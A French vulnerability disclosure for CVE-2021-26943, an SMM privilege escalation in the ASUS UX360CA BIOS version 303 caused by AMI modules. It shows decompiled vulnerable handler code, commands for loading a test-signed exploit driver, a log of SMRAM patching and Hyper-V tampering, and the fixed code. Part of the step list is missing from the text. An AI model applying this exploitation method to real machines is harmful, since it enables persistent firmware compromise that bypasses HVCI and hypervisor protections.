
Le rapport et l'exploit de CVE-2021-26943, la vulnérabilité locale d'élévation de privilèges du noyau vers SMM dans le BIOS version 303 de l'ASUS UX360CA.
Il s'agit d'un rapport et d'un exploit de CVE-2021-26943, la vulnérabilité d'élévation de privilèges locale du noyau vers SMM dans la version 303 du BIOS ASUS UX360CA. Le problème a été corrigé dans la version 304.
Le BIOS UX360CA version 303 contient 3 modules vulnérables qui permettent à un attaquant disposant du privilège ring0 d'écraser une mémoire physique presque arbitraire, y compris la SMRAM, et d'exécuter du code arbitraire en mode SMM.
Ces modules peuvent être identifiés comme suit :
| Nom | GUID | SHA256 |
|---|---|---|
| UsbRt | 04EAAAA1-29A1-11D7-8838-00500473D4EB | 8A3DEAFD0A688DD4360A65C98E434180152EB43EB2C913C663F13D5709776781 |
| SdioSmm | EA343100-1A37-4239-A3CB-B92240B935CF | 4578E1E147D846BB925DF881A2A0A3C3F1E6CD2AE033A8B0F769E5EB42783A0A |
| NvmeSmm | E5E2C9D9-5BF5-497E-8860-94F81A09ADE0 | A9C762B13FC9C4156603D674C6DAEBC4369520D95ACB1D0FA976078D6F7F1003 |
Ces modules proviennent d'AMI (fournisseur de BIOS) et peuvent être présents dans les BIOS d'autres OEM.
Les modules vulnérables et les SMI correspondants sont : UsbRt (0x31), SdioSmm (0x40) et NvmeSmm (0x42). Tous ces gestionnaires SMI lisent l'adresse mémoire physique 0x40E pour obtenir une adresse sur laquelle travailler et écrivent un octet à cette adresse en cas d'erreur, même s'il s'agit de la SMRAM.
Par exemple, le gestionnaire SMI de SdioSmm se présente comme suit :
EFI_STATUS
EFIAPI
SdioSmm_SwSmi_40h(
EFI_HANDLE DispatchHandle,
CONST VOID *Context,
VOID *CommBuffer,
UINTN *CommBufferSize
)
{
// ...
struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
if ( EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0)))
|| userControlled->Offset0_FunctionCode >= 4 )
{
userControlled->Offset2 = 7;
}
else
{
// ...
}
return EFI_SUCCESS;
}
Ce problème semble identique à INTEL-SA-00057, qui est très bien décrit dans Aptiocalypsis. La version 303 du BIOS pour UX360CA n'inclut toutefois pas de correctifs pour ces derniers.
Cela permet à un attaquant ayant accès en écriture à la mémoire physique et à l'instruction OUT (c'est-à-dire les privilèges ring0) d'écraser le contenu de la SMRAM avec les étapes suivantes :
Cela peut être utilisé pour exécuter du code arbitraire en mode SMM comme suit :
.Raw dans HKLM\HARDWARE\RESOURCEMAP\System Resources\Loader ReservedL'exécution de code arbitraire en mode SMM permettrait à un attaquant de contourner les mesures de sécurité du noyau et de l'hyperviseur telles que HVCI, comme démontré dans un autre rapport de vulnérabilité SMM, et d'établir une persistance en mettant à jour le contenu de la flash SPI (BIOS).
Le projet de démonstration joint démontre une exploitation réussie et extrait le contenu des MSR uniquement accessibles en mode SMM ainsi que l'adresse physique de l'EPTP. Il modifie également le code de gestion des VM-exit CPUID de l'hyperviseur Hyper-V pour renvoyer une chaîne de nom de fournisseur d'hyperviseur modifiée.
La PoC a été testée sur Windows build 18362.1256, avec et sans HVCI activé.
Un enregistrement de l'exploitation réussie est disponible sur YouTube.

Sur le système cible,
> bcdedit /set testsigning on
> sc create demo type= kernel binPath= C:\users\user\desktop\demo.sys
> sc start demo
[+] ReportSmramRange: TSEG implied SMRAM: 0x88400000 - 0x88800000
[-] ReportSmramRange: Exception occurred while accessing SMRR MSR : c0000096
[+] FindSystemManagementServiceTable: SMM core found at 0x87f1b390 in RT Code
[+] FindSystemManagementServiceTable: SMST found at 0x887fa710 in SMRAM
[+] ExploitSmm: Patched SMST->SmmLocateProtocol in SMRAM
[+] ExploitSmm: Placed SMM shell code
[+] ExploitSmm: Triggered SMM exploit
[+] DumpSmmExploitOuput: IA32_SMBASE = 0x887cd000
[+] DumpSmmExploitOuput: MSR_SMM_FEATURE_CONTROL = 0x1
[+] DumpSmmExploitOuput: MSR_SMM_MCA_CAP = 0xc00000000000000
[+] DumpSmmExploitOuput: EPT pointer = 0x10a72001e
[+] DumpSmmExploitOuput: Patched Hv address = 0x1004382f0
[+] ExploitSmm: Successfully executed shell code in SMM. Failing DriverEntry to unload itself
DriverEntry failed 0xc0000120 for driver \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\demo
Hv Tampered!.
> CheckHvVendor.exe
Executing CPUID(0x40000000) on CPU 0
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 1
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 2
Result: Hv Tampered!
Executing CPUID(0x40000000) on CPU 3
Result: Hv Tampered!
Le correctif consiste à éviter totalement d'utiliser le contenu contrôlé par l'utilisateur lorsqu'il pointe à l'intérieur de la SMRAM, comme indiqué ci-dessous.
{
// ...
struct_v0 *userControlled = *(0x10 * MEMORY[0x40E] + 0x104);
if (!EFI_ERROR(ValidateBufferIsOutsideSmram(userControlled, sizeof(struct_v0))))
{
if (userControlled->Offset0_FunctionCode < 7 )
{
// ...
}
else
{
userControlled->Offset2 = 7;
}
}
return EFI_SUCCESS;
}
Le correctif suit parfaitement les meilleures pratiques actuelles de l'industrie et empêche l'attaque par député confus qui conduit à la corruption de la SMRAM.